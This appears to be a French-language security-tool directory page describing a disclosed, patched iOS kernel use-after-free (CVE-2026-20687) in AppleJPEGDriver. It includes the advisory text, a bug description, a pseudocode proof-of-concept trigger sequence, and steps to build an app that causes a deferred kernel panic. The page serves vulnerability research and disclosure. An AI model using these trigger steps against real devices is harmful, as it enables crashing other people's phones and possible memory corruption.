Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
Outils/GitHubGitHub/enfilade-labs/cve-2026-20687-applejpegdriver-uaf
Sécurité iOSCriminalistique MémoireAnalyse des VulnérabilitésExploitationRétro-ingénierieSécurité MobileExploitation de Binaires
GitHubenfilade-labs/cve-2026-20687-applejpegdriver-uaf

CVE-2026-20687-AppleJPEGDriver-UAF

CVE-2026-20687 : AppleJPEGDriver startDecoder Timeout UAF — vulnérabilité du noyau iOS/macOS conduisant à une panique différée (A19 Pro, iOS 26.3 RC)

Voir le dépôt
2il y a 4 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2026-20687 — Dépassement de délai UAF dans startDecoder d'AppleJPEGDriver

CVE-2026-20687 · Enfilade · enfilade.io

Composant : Kernel

Impact : Une application peut être en mesure de provoquer un arrêt inattendu du système ou d'écrire dans la mémoire du kernel.

Description : Un problème d'utilisation après libération a été corrigé grâce à une meilleure gestion de la mémoire.

— Contenu de sécurité Apple, iOS 26.4 et iPadOS 26.4

Cible

iOS26.3 (23D125) (testé)
macOS—
ComposantAppleJPEGDriver
CorrigéiOS 26.4 / iPadOS 26.4
MatérieliPhone18,2 (iPhone 17 Pro Max, A19 Pro)

Avertissement

L'exécution du PoC provoquera un kernel panic sur l'appareil. Enregistrez votre travail avant de l'exécuter. Des panics répétés peuvent entraîner une corruption du système de fichiers. À des fins de recherche en sécurité uniquement.

Vulnérabilité

Le chemin de dépassement de délai dans startDecoder_sync libère une requête mais laisse son pointeur de nœud de file intégré dans le vecteur par-codec. Une traversée ultérieure de la file déréférence le nœud obsolète et le kernel panique sous l'application du contrôle des balises MTE. Le panic est généralement différé jusqu'à ce qu'un décodage JPEG synchrone ultérieur s'exécute — sur iPhone, cela se produit de manière fiable lorsque l'application Appareil photo est ouverte.

Preuve de concept

root@kitploit:~
// Prépare le driver ; le panic est généralement différé jusqu'à l'ouverture de l'Appareil photo.
IOServiceOpen("AppleJPEGDriver");
for (int i = 0; i < N; i++) {
    startDecoder_async();                   // queue_io_gated: vector.push(req + 0x78)
}
IOServiceClose(conn);

// Plus tard, l'ouverture de l'Appareil photo déclenche :
startDecoder_sync();
    queue_io_gated: vector.push(req + 0x78);
    wait(10s) -> TIMEOUT;
    pool_free(req);                         // BUG : ne retire PAS de la file (req + 0x78)

// Encore plus tard (finish_io_gated) :
fullSpeedRequestExist():
    node_ptr = vector[i];                   // obsolète : node_ptr == (req libéré + 0x78)
    req2 = *(node_ptr + 0x8);               // lecture UAF -> défaut de balise MTE -> panic

Compilation et exécution

  1. Ouvrez ios-app/Test.xcodeproj dans Xcode.
  2. Sélectionnez un appareil iOS physique (le simulateur n'atteindra pas le driver).
  3. Compilez, exécutez et appuyez sur Panic (prépare le driver et met en file les tâches asynchrones).
  4. Ouvrez l'application Appareil photo pour déclencher le panic différé.

Licence

Voir LICENSE.

Télécharger l’outil